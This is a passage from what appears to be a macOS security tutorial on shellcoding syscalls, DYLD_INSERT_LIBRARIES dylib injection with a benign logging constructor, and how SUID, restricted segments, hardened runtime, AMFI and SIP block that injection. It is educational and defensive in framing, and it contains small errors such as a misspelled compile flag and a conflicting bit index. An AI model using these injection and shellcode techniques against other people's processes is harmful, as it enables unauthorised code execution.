<p>The differing bit is the 25th bit from the right (or the 24th index if you start counting from 0), which corresponds to the class mask.</p>

<p>Now, knowing that you need to set the 25th bit, you use the <code class="language-plaintext highlighter-rouge">bts</code> instruction with index 24 to set this bit in the register, as shown in the assembly example previously provided.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Syscall Number <span class="o">(</span>0x3b<span class="o">)</span>:    000...0000111011
Syscall Number <span class="o">(</span>0x200003b<span class="o">)</span>: ...0010000000000000000000111011
                               ^
                               |
                               +--- Bit to <span class="nb">set </span>with <span class="sb">`</span>bts<span class="sb">`</span>
</code></pre></div></div>

<ul>
  <li>Now executring the syscall:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>push  59         ; put 59 on the stack
pop   rax        ; pop it to RAX
bts   rax, 25    ; set the 25th bit to 1
syscall
</code></pre></div></div>

<h1 id="shellcoding-on-arm64">Shellcoding on ARM64</h1>

<h2 id="calling-conventions-and-registers-on-macos-apple-silicon">Calling Conventions and Registers on macOS (Apple Silicon)</h2>

<table>
  <thead>
    <tr>
      <th>Register</th>
      <th>Usage</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X0-X7</code></td>
      <td>Function arguments and return values</td>
      <td>Used to pass and return data from functions</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X8</code></td>
      <td>Indirect return value address</td>
      <td>Often used for memory allocation routines</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X9-X15</code></td>
      <td>Caller-saved temporary registers</td>
      <td>Can be changed by the called function, must be saved by the caller if needed</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X16</code></td>
      <td>Inter-procedural scratch register; syscall number</td>
      <td>Used for passing system call numbers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X17</code></td>
      <td>Inter-procedural scratch register</td>
      <td>Temporary register, similar to <code class="language-plaintext highlighter-rouge">X16</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X18</code></td>
      <td>Reserved on Apple platforms</td>
      <td>Should not be used in user programs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X19-X28</code></td>
      <td>Callee-saved registers</td>
      <td>Must be saved and restored by the called function if used</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X29</code></td>
      <td>Frame pointer (FP)</td>
      <td>Points to the base of the current stack frame</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">X30</code></td>
      <td>Link register (LR)</td>
      <td>Stores the return address</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SP</code></td>
      <td>Stack pointer</td>
      <td>Must be 16-byte aligned at function calls</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PC</code></td>
      <td>Program counter</td>
      <td>Points to the next instruction to execute</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">XZR</code></td>
      <td>Zero register</td>
      <td>Always reads as zero and ignores writes</td>
    </tr>
  </tbody>
</table>

<p>The ARM64 architecture requires that the stack pointer (<code class="language-plaintext highlighter-rouge">SP</code>) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls.</p>

<pre><code class="language-asm">; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc 0                   ; Issue the system call instruction
</code></pre>

<h2 id="syscalls-1">Syscalls</h2>

<p>You can find system calls numbers in the <code class="language-plaintext highlighter-rouge">syscalls.master</code> under the <code class="language-plaintext highlighter-rouge">xnu</code> source, You could choose the one you need with the version from the following link:</p>
<ul>
  <li>https://opensource.apple.com/source/xnu/</li>
</ul>

<h2 id="avoid-null-bytes-in-syscalls-1">Avoid Null-Bytes in Syscalls</h2>

<p>Instead of performing the syscall using <code class="language-plaintext highlighter-rouge">svc 0</code>, the argument for for <code class="language-plaintext highlighter-rouge">svc</code> is aribtrary value, So it can be replaced:</p>

<pre><code class="language-asm">mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc #1337                   ; Issue the system call instruction
</code></pre>

<h1 id="dyld_insert_libraries-injection">DYLD_INSERT_LIBRARIES Injection</h1>

<ol>
  <li><strong>Understanding DYLD_INSERT_LIBRARIES</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> is an environment variable similar to <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> on Linux.</li>
      <li>It specifies a list of dynamic libraries to load before the application’s own libraries.</li>
      <li>Libraries specified in <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> are loaded and executed in the context of the target application.</li>
    </ul>
  </li>
  <li><strong>Creating a Dynamic Library</strong>:
    <ul>
      <li>
        <p>Write a C file for the dynamic library that will be injected. Example code:</p>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>  <span class="cp">#include</span> <span class="cpf">&lt;syslog.h&gt;</span><span class="cp">
</span>
  <span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
  <span class="k">static</span> <span class="kt">void</span> <span class="nf">myconstructor</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[+] dylib constructor called from %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="n">syslog</span><span class="p">(</span><span class="n">LOG_ERR</span><span class="p">,</span> <span class="s">"[+] dylib constructor called from %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
  <span class="p">}</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>Compile this code into a dynamic library using GCC:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> example.c <span class="nt">-o</span> example.dylib
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Preparing the Target Application</strong>:
    <ul>
      <li>
        <p>Create a simple application to test the injection, such as a “Hello World” program:</p>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>Compile the application:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc hello.c <span class="nt">-o</span> hello
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Performing the Injection</strong>:
    <ul>
      <li>
        <p>Set the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to point to the compiled dylib and run the target application:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello
</code></pre></div>        </div>
      </li>
      <li>
        <p>The output should confirm that the dylib was loaded before the application’s main function:</p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] dylib constructor called from ./hello
Hello, World!
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Monitoring Logs</strong>:
    <ul>
      <li>
        <p>Use macOS’s logging system to confirm the injection and monitor behaviors:</p>

        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>log stream <span class="nt">--style</span> syslog <span class="nt">--predicate</span> <span class="s1">'eventMessage CONTAINS[c] "constructor"'</span>
</code></pre></div>        </div>
      </li>
      <li>
        <p>This command filters and streams log messages containing “constructor”, showing live outputs as the injected dylib executes.</p>
      </li>
    </ul>
  </li>
</ol>

<h2 id="restrictions-of-dyld_insert_libraries">Restrictions of DYLD_INSERT_LIBRARIES</h2>

<p>To mitigate the abuse of the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable, Apple has implemented specific restrictions in the dyld loader.  The key function in the dyld source code that manages the restrictions is <code class="language-plaintext highlighter-rouge">pruneEnvironmentVariables</code>, which is responsible for removing certain environment variables during the load process:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">pruneEnvironmentVariables</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[],</span> <span class="k">const</span> <span class="kt">char</span><span class="o">***</span> <span class="n">applep</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// delete all DYLD_* and LD_LIBRARY_PATH environment variables</span>
    <span class="p">...</span>
    <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"dyld: DYLD_ environment variables being ignored because "</span><span class="p">);</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">sRestrictedReason</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="n">restrictedNot</span><span class="p">:</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedBySetGUid</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) is setuid or setgid</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedBySegment</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) has __RESTRICT/__restrict section</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">restrictedByEntitlements</span><span class="p">:</span>
            <span class="n">dyld</span><span class="o">::</span><span class="n">log</span><span class="p">(</span><span class="s">"main executable (%s) is code signed with entitlements</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">sExecPath</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The removal of variables is influenced by:</p>
<ol>
  <li><strong>Setuid/setgid Executables</strong>:
    <ul>
      <li>Environment variables starting with <code class="language-plaintext highlighter-rouge">DYLD_</code> are ignored if the executable has setuid or setgid bits set. This is a security measure to prevent privilege escalation by injecting unauthorized code into a higher-privileged process.</li>
    </ul>
  </li>
  <li><strong>Executables with Restricted Segment</strong>:
    <ul>
      <li>If the executable contains a <code class="language-plaintext highlighter-rouge">__RESTRICT/__restrict</code> segment in the Mach-O file, <code class="language-plaintext highlighter-rouge">DYLD_</code> environment variables are also ignored. This segment signals that the binary opts out of certain dynamic loading features to increase its security stance.</li>
    </ul>
  </li>
  <li><strong>Entitlements and Code Signing</strong>:
    <ul>
      <li>Executables that are code signed with entitlements may have restrictions on environment variables. If the <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> flag is set in the code signature, it indicates that the process is restricted, leading to the ignoring of <code class="language-plaintext highlighter-rouge">DYLD_</code> variables.</li>
    </ul>
  </li>
</ol>

<h3 id="understanding-processrestricted-function">Understanding <code class="language-plaintext highlighter-rouge">processRestricted</code> Function</h3>

<p>The <code class="language-plaintext highlighter-rouge">processRestricted</code> function is pivotal in setting up the reasons for restrictions:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">bool</span> <span class="nf">processRestricted</span><span class="p">(</span><span class="k">const</span> <span class="n">macho_header</span><span class="o">*</span> <span class="n">mainExecutableMH</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">issetugid</span><span class="p">())</span> <span class="p">{</span>
        <span class="n">sRestrictedReason</span> <span class="o">=</span> <span class="n">restrictedBySetGUid</span><span class="p">;</span>
        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="p">...</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">syscall</span><span class="p">(</span><span class="n">SYS_csops</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CS_OPS_STATUS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flags</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flags</span><span class="p">))</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">CS_RESTRICT</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">sRestrictedReason</span> <span class="o">=</span> <span class="n">restrictedByEntitlements</span><span class="p">;</span>
            <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="p">...</span>
    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>This function checks for <code class="language-plaintext highlighter-rouge">setuid/setgid</code> statuses and whether the executable’s code signature defines it as restricted.</li>
</ul>

<h2 id="debugging-amfi">Debugging AMFI</h2>

<ol>
  <li><strong>Setup</strong>:
    <ul>
      <li>Use <code class="language-plaintext highlighter-rouge">lldb</code> to attach to the process or during the process launch.</li>
      <li>Set a breakpoint on <code class="language-plaintext highlighter-rouge">amfi_check_dyld_policy_self</code> to inspect how <code class="language-plaintext highlighter-rouge">AppleMobileFileIntegrity</code> (<code class="language-plaintext highlighter-rouge">AMFI</code>) influences the loading of dynamic libraries.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>lldb<span class="o">)</span> b amfi_check_dyld_policy_self
Breakpoint 1: where <span class="o">=</span> dyld<span class="sb">`</span>amfi_check_dyld_policy_self, address <span class="o">=</span> 0x100001234
</code></pre></div></div>

<ol>
  <li><strong>Debugging</strong>:
    <ul>
      <li>Continue execution to reach the breakpoint, then step through the code to observe how input flags are processed and output flags are set.</li>
    </ul>
  </li>
  <li><strong>Inspecting AMFI Output Flags</strong>:
    <ul>
      <li>After the syscall, The output flags from <code class="language-plaintext highlighter-rouge">amfi_check_dyld_policy_self</code> (stored in <code class="language-plaintext highlighter-rouge">RCX</code> register) determine what an application can do concerning dynamic library loading. Each flag corresponds to a specific permission:
        <ul>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_AT_PATH</strong>: Allows loading dylibs from arbitrary paths.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS</strong>: Permits printing environment variables.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS</strong>: Allows using path variables.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE</strong>: Permits custom shared cache settings.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS</strong>: Enables fallback paths for library loading.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION</strong>: Allows the insertion of libraries even if they fail some checks.</li>
          <li><strong>AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING</strong>: Permits library interposing.</li>
        </ul>
      </li>
    </ul>
  </li>
</ol>

<h3 id="sip-and-amfi-bits">SIP and AMFI Bits</h3>

<ol>
  <li><strong>System Integrity Protection (SIP) Bits</strong>:
    <ul>
      <li>SIP is controlled using specific configuration flags. Each bit in the configuration represents a different aspect of system protection, such as allowing debugging or kernel extensions. These are set in the csrActiveConfig and checked against desired permissions.</li>
      <li>Example flag: <code class="language-plaintext highlighter-rouge">CSR_ALLOW_TASK_FOR_PID</code> allows debugging processes.</li>
    </ul>
  </li>
  <li><strong>AMFI Policy Output Flags</strong>:
    <ul>
      <li>These flags are set based on the security policy checks performed by AMFI. They influence the loader’s behavior regarding environment variables and dynamic loading.</li>
      <li>To interpret the flags, convert the output integer to binary and match each bit to the flag definitions.</li>
    </ul>
  </li>
</ol>

<h3 id="checking-flags">Checking Flags</h3>

<ul>
  <li>Use shell commands to interpret numeric values into binary for easier flag analysis:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"obase=2; ibase=16; </span><span class="si">$(</span><span class="nb">printf</span> <span class="s1">'%X'</span> <span class="nv">$FLAGS</span><span class="si">)</span><span class="s2">"</span> | bc
</code></pre></div></div>

<h3 id="script-to-check-amfi-flags">Script to check AMFI flags</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;

typedef NS_OPTIONS(NSUInteger, amfi_dyld_policy_output_flag_set) {
    AMFI_DYLD_OUTPUT_ALLOW_AT_PATH               = (1 &lt;&lt; 0),
    AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS             = (1 &lt;&lt; 1),
    AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE   = (1 &lt;&lt; 2),
    AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS        = (1 &lt;&lt; 3),
    AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS            = (1 &lt;&lt; 4),
    AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION = (1 &lt;&lt; 5),
    AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING   = (1 &lt;&lt; 6),
};

void checkFlags(NSUInteger flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_AT_PATH (gLinkContext.allowAtPaths): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? greenStart : redStart, (flags &amp; 
AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS (gLinkContext.allowEnvVarsPath): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? greenStart : redStart, (flags 
&amp; AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE (gLinkContext.allowEnvVarsSharedCache): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? 
greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS (gLinkContext.allowClassicFallbackPaths): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? greenStart 
: redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS (gLinkContext.allowEnvVarsPrint): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? greenStart : redStart, 
(flags &amp; AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION (gLinkContext.allowInsertFailures): %@%@", (flags &amp; 
AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? @"Set" : @"Not Set", 
colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING (gLinkContext.allowInterposing): %@%@", (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? 
greenStart : redStart, (flags &amp; AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? @"Set" : @"Not Set", colorEnd);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc &lt; 2) {
            NSLog(@"Usage: %@ &lt;hex value&gt;", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        NSUInteger hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkFlags(hexValue);
    }
    return 0;
}

</code></pre>

<ul>
  <li>Compile and run:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Compile
gcc <span class="nt">-fraework</span> Foundation checkDYLDFlags.m <span class="nt">-o</span> checkDYLDFlags

Run
./checkDYLDFlags 0X5d <span class="c"># replace with the output value</span>
</code></pre></div></div>

<h3 id="script-to-check-sipcsr-flags">Script to check SIP(CSR) flags</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;

// Define the CSR flags
#define CSR_ALLOW_UNTRUSTED_KEXTS               (1 &lt;&lt; 0)
#define CSR_ALLOW_UNRESTRICTED_FS               (1 &lt;&lt; 1)
#define CSR_ALLOW_TASK_FOR_PID                  (1 &lt;&lt; 2)
#define CSR_ALLOW_KERNEL_DEBUGGER               (1 &lt;&lt; 3)
#define CSR_ALLOW_APPLE_INTERNAL                (1 &lt;&lt; 4)
#define CSR_ALLOW_UNRESTRICTED_DTRACE           (1 &lt;&lt; 5)
#define CSR_ALLOW_UNRESTRICTED_NVRAM            (1 &lt;&lt; 6)
#define CSR_ALLOW_DEVICE_CONFIGURATION          (1 &lt;&lt; 7)
#define CSR_ALLOW_ANY_RECOVERY_OS               (1 &lt;&lt; 8)
#define CSR_ALLOW_UNAPPROVED_KEXTS              (1 &lt;&lt; 9)
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE    (1 &lt;&lt; 10)
#define CSR_ALLOW_UNAUTHENTICATED_ROOT          (1 &lt;&lt; 11)

// Function to check and print the status of CSR flags
void checkCSRFlags(uint32_t flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    // Array of flag names for defined and undefined flags
    NSString *flagNames[] = {
        @"CSR_ALLOW_UNTRUSTED_KEXTS",
        @"CSR_ALLOW_UNRESTRICTED_FS",
        @"CSR_ALLOW_TASK_FOR_PID",
        @"CSR_ALLOW_KERNEL_DEBUGGER",
        @"CSR_ALLOW_APPLE_INTERNAL",
        @"CSR_ALLOW_UNRESTRICTED_DTRACE",
        @"CSR_ALLOW_UNRESTRICTED_NVRAM",
        @"CSR_ALLOW_DEVICE_CONFIGURATION",
        @"CSR_ALLOW_ANY_RECOVERY_OS",
        @"CSR_ALLOW_UNAPPROVED_KEXTS",
        @"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE",
        @"CSR_ALLOW_UNAUTHENTICATED_ROOT",
        @"UNDEFINED_FLAG_12",
        @"UNDEFINED_FLAG_13",
        @"UNDEFINED_FLAG_14",
        @"UNDEFINED_FLAG_15",
        @"UNDEFINED_FLAG_16",
        @"UNDEFINED_FLAG_17",
        @"UNDEFINED_FLAG_18",
        @"UNDEFINED_FLAG_19",
        @"UNDEFINED_FLAG_20",
        @"UNDEFINED_FLAG_21",
        @"UNDEFINED_FLAG_22",
        @"UNDEFINED_FLAG_23",
        @"UNDEFINED_FLAG_24",
        @"UNDEFINED_FLAG_25",
        @"UNDEFINED_FLAG_26",
        @"UNDEFINED_FLAG_27",
        @"UNDEFINED_FLAG_28",
        @"UNDEFINED_FLAG_29",
        @"UNDEFINED_FLAG_30",
        @"UNDEFINED_FLAG_31"
    };

    // Check each flag and print its status
    for (int i = 0; i &lt; 32; i++) {
        BOOL isSet = (flags &amp; (1 &lt;&lt; i)) != 0;
        NSLog(@"%@%@: %@%@", isSet ? greenStart : redStart, flagNames[i], isSet ? @"Set" : @"Not Set", colorEnd);
    }
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc &lt; 2) {
            NSLog(@"Usage: %@ &lt;hex value&gt;", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        uint32_t hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkCSRFlags(hexValue);
    }
    return 0;
}
</code></pre>

<ul>
  <li>Compile and run:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Compile
gcc <span class="nt">-fraework</span> Foundation checkCSRFlags.m <span class="nt">-o</span> checkCSRFlags

Run
./checkCSRFlags 0x2fd <span class="c"># replace with the your value</span>
</code></pre></div></div>

<h2 id="verifying-restrictions-of-dyld_insert_libraries">Verifying Restrictions of DYLD_INSERT_LIBRARIES</h2>

<h3 id="setting-up-and-testing-suid-restrictions">Setting Up and Testing SUID Restrictions</h3>

<ol>
  <li><strong>Change ownership and set SUID bit:</strong>
    <ul>
      <li>Change the ownership of the binary to root and set the SUID bit to enable execution with root privileges.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo chown </span>root hello
<span class="nb">sudo chmod</span> +s hello
<span class="nb">ls</span> <span class="nt">-l</span> hello
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Testing dylib injection with SUID bit set:</strong></p>

    <ul>
      <li>When attempting to inject a dylib into a binary with the SUID bit set, the injection should fail, indicating the security measures are working as expected.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./hello  <span class="c"># Normal execution</span>
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello  <span class="c"># Attempted dylib injection</span>
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Remove SUID bit and test dylib injection:</strong></p>

    <ul>
      <li>Removing the SUID bit and attempting dylib injection again should succeed, demonstrating that the restriction is specifically linked to the SUID bit.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo chmod</span> <span class="nt">-s</span> hello
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello
</code></pre></div></div>

<h3 id="testing-restricted-segments">Testing Restricted Segments</h3>

<ol>
  <li>
    <p><strong>Add a restricted segment to the binary:</strong></p>

    <ul>
      <li>Compiling a binary with a specific segment (<code class="language-plaintext highlighter-rouge">__RESTRICT/__restrict</code>) that signals dyld to ignore certain dynamic loading features.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-sectcreate</span> __RESTRICT __restrict /dev/null hello.c <span class="nt">-o</span> hello-restricted
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Attempt dylib injection into the restricted binary:</strong></p>

    <ul>
      <li>Injection attempts should fail, confirming that the restricted segment is recognized and respected by dyld.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-restricted
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Verify the presence of the restricted segment:</strong></p>

    <ul>
      <li>Using the <code class="language-plaintext highlighter-rouge">size</code> command to verify the segments and sections of the compiled binary, confirming the presence of the <code class="language-plaintext highlighter-rouge">__RESTRICT</code> segment.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size <span class="nt">-x</span> <span class="nt">-l</span> <span class="nt">-m</span> hello-restricted
</code></pre></div></div>

<h3 id="hardened-runtime-and-code-signing">Hardened Runtime and Code Signing</h3>

<ol>
  <li>
    <p><strong>Enable hardened runtime and code-sign the binary:</strong></p>

    <ul>
      <li>Applying a hardened runtime setting to the binary using a self-signed certificate to enforce stricter security policies.</li>
      <li>
        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>hello hello-signed
codesign <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--options</span><span class="o">=</span>runtime hello-signed
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p><strong>Test dylib injection on hardened runtime binary:</strong></p>

    <ul>
      <li>Attempts to inject a dylib into a binary with hardened runtime enabled should fail if the dylib does not match the code-signing requirements.
